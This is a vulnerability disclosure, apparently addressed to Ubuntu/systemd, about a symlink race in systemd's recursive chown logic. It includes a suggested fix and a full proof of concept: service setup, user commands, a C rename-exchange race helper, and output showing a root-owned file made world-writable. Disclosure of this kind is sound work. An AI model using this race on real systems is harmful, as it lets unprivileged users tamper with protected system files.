systemd - 'chown_one()' Dereference Symlinks

[I am sending this bug report to Ubuntu, even though it's an upstream
bug, as requested at
https://github.com/systemd/systemd/blob/master/docs/CONTRIBUTING.md#security-vulnerability-reports
.]

When chown_one() in the recursive chown logic decides that it has to change
ownership of a directory entry, it first changes ownership as follows:

        if (name)
                r = fchownat(fd, name, uid, gid, AT_SYMLINK_NOFOLLOW);
        else
                r = fchown(fd, uid, gid);
        if (r < 0)
                return -errno;

So far, this looks good. But then this happens:

        /* The linux kernel alters the mode in some cases of chown(). Let's undo this. */
        if (name) {
                if (!S_ISLNK(st->st_mode))
                        r = fchmodat(fd, name, st->st_mode, 0);
                else /* There's currently no AT_SYMLINK_NOFOLLOW for fchmodat() */
                        r = 0;
        } else
                r = fchmod(fd, st->st_mode);

This is dangerous, especially in the case where `name != NULL`.

First off: I don't think that the overall objective of this code block makes
sense. Yes, the kernel sometimes changes the mode when ownership is changed -
but that's only for set-UID binaries and set-GID binaries (but not
set-GID directories).
I'm pretty sure that setuid/setgid binaries aren't supposed to appear in these
directories anyway.

The problem here is that, as the comment explains,
`fchmodat(fd, name, st->st_mode, 0)` follows symlinks. The fchmodat() call is
guarded by a `S_ISLNK(st->st_mode)` check, but that's obviously racy and
therefore doesn't actually help.

My recommended fix is to just remove the offending code block. If, for some
crazy reason, you actually want to support changing the ownership of
setuid/setgid binaries, an alternative might be to do something like this:

    int fd2 = openat(fd, name, O_PATH|O_NOFOLLOW|O_CLOEXEC);
    if (fd2 >= 0) {
      fchmod(fd2, st->st_mode);
      close(fd2);
    }

To reproduce, as root, create a service with "Restart=always",
"StartLimitIntervalSec=0", "StateDirectory=test_service" and "User=user" (where
"user" is the name of an unprivileged account). Point "ExecStart" at a binary
that immediately exits:

========
int main(void) {
  return 0;
}
========

Then start the service.

Next, as the user the service is running as, create some entries in
/var/lib/test_service:

========
user@ubuntu-18-04-vm:~$ cd /var/lib/test_service/
user@ubuntu-18-04-vm:/var/lib/test_service$ touch foo
user@ubuntu-18-04-vm:/var/lib/test_service$ chmod 0666 foo
user@ubuntu-18-04-vm:/var/lib/test_service$ ln -s /etc/hostname foo2
user@ubuntu-18-04-vm:/var/lib/test_service$ ln foo foo_link
user@ubuntu-18-04-vm:/var/lib/test_service$ ls -la
total 8
drwxr-xr-x  2 user user 4096 Okt  8 16:42 .
drwxr-xr-x 67 root root 4096 Okt  8 15:30 ..
-rw-rw-rw-  2 user user    0 Okt  8 16:16 foo
lrwxrwxrwx  1 user user   13 Okt  8 16:23 foo2 -> /etc/hostname
-rw-rw-rw-  2 user user    0 Okt  8 16:16 foo_link
========

Create and run a helper that continuously switches "foo" and "foo2" with each
other:

========
user@ubuntu-18-04-vm:~$ cat exchange.c
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <err.h>
#include <sys/syscall.h>
int main(int argc, char **argv) {
        char *base = argv[1], *p1 = argv[2], *p2 = argv[3];
        if (chdir(base)) err(1, "chdir");
        while (1) {
                if (syscall(__NR_renameat2, AT_FDCWD, p1, AT_FDCWD, p2, 2))
                        perror("renameat");
        }
}
user@ubuntu-18-04-vm:~$ gcc -o exchange exchange.c -O2
user@ubuntu-18-04-vm:~$ ./exchange /var/lib/test_service foo foo2
========

Change ownership of "foo_link" and the test_service directory to trigger the
permission fixup logic when the service restarts the next time:

========
user@ubuntu-18-04-vm:/var/lib/test_service$ chown user:cdrom foo_link .
========

Check whether it worked:

========
user@ubuntu-18-04-vm:/var/lib/test_service$ ls -la /etc/hostname .
-rw-r--r-- 1 root root   16 Jul  3 19:20 /etc/hostname

.:
total 8
drwxr-xr-x  2 user user 4096 Okt  8 16:45 .
drwxr-xr-x 67 root root 4096 Okt  8 15:30 ..
lrwxrwxrwx  1 user user   13 Okt  8 16:23 foo -> /etc/hostname
-rw-rw-rw-  2 user user    0 Okt  8 16:16 foo2
-rw-rw-rw-  2 user user    0 Okt  8 16:16 foo_link
========

If it didn't work (as in this example), retry the chown a few times. After a few
times, you should see this:

========
user@ubuntu-18-04-vm:/var/lib/test_service$ ls -la /etc/hostname .
-rw-rw-rw- 1 root root   16 Jul  3 19:20 /etc/hostname

.:
total 8
drwxr-xr-x  2 user user 4096 Okt  8 16:46 .
drwxr-xr-x 67 root root 4096 Okt  8 15:30 ..
-rw-rw-rw-  2 user user    0 Okt  8 16:16 foo
lrwxrwxrwx  1 user user   13 Okt  8 16:23 foo2 -> /etc/hostname
-rw-rw-rw-  2 user user    0 Okt  8 16:16 foo_link
========



Another thing that might also go wrong, but that I haven't tested, is the
interaction with the mount.ecryptfs_private helper that comes with ecryptfs.
As far as I can tell, an attacker would be able to use mount.ecryptfs_private to
mount an ecryptfs inside the StateDirectory. This ecryptfs instance could then
function similar to a bind mount, causing systemd to change the ownership of
files that are e.g. in /etc. You might want to ensure that no files or
directories you access are located on an ecryptfs filesystem.